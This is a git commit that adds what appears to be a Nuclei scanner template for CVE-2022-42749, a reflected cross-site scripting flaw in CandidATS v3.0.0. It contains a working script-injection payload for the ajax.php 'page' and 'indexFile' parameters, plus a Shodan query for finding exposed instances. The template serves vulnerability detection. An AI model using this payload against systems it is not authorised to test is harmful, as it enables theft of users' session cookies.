Create CVE-2022-42749.yaml

patch-1
Arafat Ansari 2022-11-04 18:54:26 +05:30 committed by GitHub
parent c564beb92b
commit b4bc8f4d5d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 0 deletions

View File

@ -0,0 +1,30 @@
id: CVE-2022-42749
info:
name: CandidATS v3.0.0 - Cross Site Scripting.
author: arafatansari
severity: Medium
description: CandidATS v3.0.0 on 'page' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
reference:
- https://fluidattacks.com/advisories/modestep/
metadata:
shodan-query: http.html:"CandidATS"
verified: true
tags: xss,cve,2022
requests:
- method: GET
path:
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&isPopup=0'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.cookie)</script>'
condition: and
- type: status
status:
- 404